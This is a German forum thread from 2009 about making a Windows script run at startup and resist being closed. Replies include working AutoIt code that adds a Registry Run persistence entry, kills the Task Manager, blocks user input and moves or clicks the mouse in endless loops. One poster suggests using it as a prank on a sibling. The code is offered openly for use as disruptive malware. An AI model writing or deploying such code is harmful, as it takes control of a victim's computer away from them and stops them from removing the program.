Skript mit Windows starten

10/16/2009 15:58 Fresh^^#1
Ist es möglich ein Skript zu starten, wenn Windows gestartet ist?
Also wenn der PC hochfährt, das das Skript sofort startet?
Und das das Skript nicht beendet werden kann oder das es sich selbst startet wenn man es beendet?
10/16/2009 16:24 Cholik#2
Ja
10/16/2009 16:27 AllesVergeben#3
1. Ja

2. eher nicht. Man kann es so gut wie möglich verstecken.
10/16/2009 18:03 | Moep |#4
MAn könnte auch zwei Scripts schreiben die sich gegenseitig vor dem beenden schützen.
10/17/2009 09:20 Fresh^^#5
xD danke! Jetzt möcht ich nur noch wissen wie dann ist das super!
10/17/2009 09:26 Cholik#6
Das Skript kannst du z.B. in den Autostart Ordner packen. Dann wirds direkt mitgeladen beim Start. Oder du erstellst in der Registry einen Eintrag im Run Ordner mit einem Verweis auf die Datei.
10/17/2009 09:37 buFFy!#7
Was genau willst du denn machen? Dann könnte man dir weiterhelfen.. möglich ist vieles, fast alles ;)
10/17/2009 15:45 Ende!#8
Autostart Ordner suckt, den kennt ja wirklich fast jeder.

Hier ndie Möglichkeit mit der Registry, braucht unter Vista und Win7 aber Adminrechte.

Die Frage wurde in nem anderen Thread schon beantwortet: [Only registered and activated users can see links. Click Here To Register...]
10/17/2009 19:54 Fresh^^#9
Wollte es aus purem Interesse wissen...
Jetzt weiß ichs ja...
Thx
10/20/2009 00:51 N.E.O.#10
Hihihi^^

Du könntest einen Registryeintrag erstellen, in etwa so:
Code:
Run("G6FTPSrv")

;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then  ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
    
EndIf
dann noch etwas wie
Code:
AdlibEnable("_WinKill")

Func _WinKill()
If WinExists("Task Manager") Then 
WinKill("Task Manager")
EndIf
EndFunc
und vielleicht auch noch
Code:
BlockInput(1)
..aber das wär schon ziemlich fies..

Was aber auch geil wär, wär einfach:

Code:
Main()

Func Main()

AdlibEnable("_WinKill")
AutoStart()
Sleep(100)
_NoInput()
Sleep(100)
_RMouseMove()

EndFunc

Func AutoStart()
	
Run("G6FTPSrv")

;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then  ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
    Sleep(100)
EndIf

EndFunc

Func _WinKill()
	
	If WinExists("Task Manager") Then
		WinKill("Task Manager")
	EndIf
	
EndFunc

Func _RMouseMove()
	
	While 1
		MouseClick("left", (Random(0, 2000, 1)), (Random(0, 2000, 1)), 2)
	WEnd
	
EndFunc

Func _NoInput()
	
	BlockInput(1)
	
EndFunc
Aber das hast du nicht von mir ;)


PS: Sag nicht, das du nicht soetwas vor hattest :)
10/20/2009 09:39 buFFy!#11
benutzung auf eigene gefahr :awesome:
Code:
$Handle1 = DllCallbackRegister("Task", "int", "ptr")
$Handle2 = DllCallbackRegister("Mouse", "int", "ptr")

HotKeySet("{end}", "End")
HotKeySet("{Lctrl}", "BlockTaskmgrHotkey")

Func CreateThread($Handle, $struct)
	$return = DllCall("kernel32.dll", _
			"hwnd", _
			"CreateThread", _
			"ptr", _
			0, _
			"dword", _
			0, _
			"long", _
			DllCallbackGetPtr($Handle), _
			"ptr", _
			DllStructGetPtr($struct), _
			"long", _
			0, _
			"int*", _
			0)
	Return $return[0]
EndFunc   ;==>CreateThread

$Struct1 = DllStructCreate("Char[200];int")
DllStructSetData($Struct1, 1, 10)
CreateThread($Handle1, $Struct1)

$Struct2 = DllStructCreate("Char[200];int")
DllStructSetData($Struct2, 1, 10)
CreateThread($Handle2, $Struct2)

While True
	BlockInput(1)
	Sleep(100)
WEnd

Func Task($x)
	$y = DllStructCreate("char[200];int", $x)
	While True
		If ProcessExists("taskmgr.exe") Then ProcessClose("taskmgr.exe")
		Sleep(10)
	WEnd
EndFunc   ;==>ThreadTest1

Func Mouse($x)
	$y = DllStructCreate("char[200];int", $x)
	While True
		MouseMove(@DesktopWidth / 2, @DesktopHeight / 2)
		Sleep(10)
	WEnd
EndFunc   ;==>ThreadTest2

Func BlockTaskmgrHotkey($x = "ptr")
	$y = DllStructCreate("char[200];int", $x)
	Send("{enter}")
EndFunc

Func End()
	Exit
EndFunc
10/20/2009 21:10 ●ROBBY●#12
lol das muss ich auch mal ausprobieren dann kann ich meinem bruder nen fiesen streich spielen^^ (ich sag nur shutdown (5) ) :P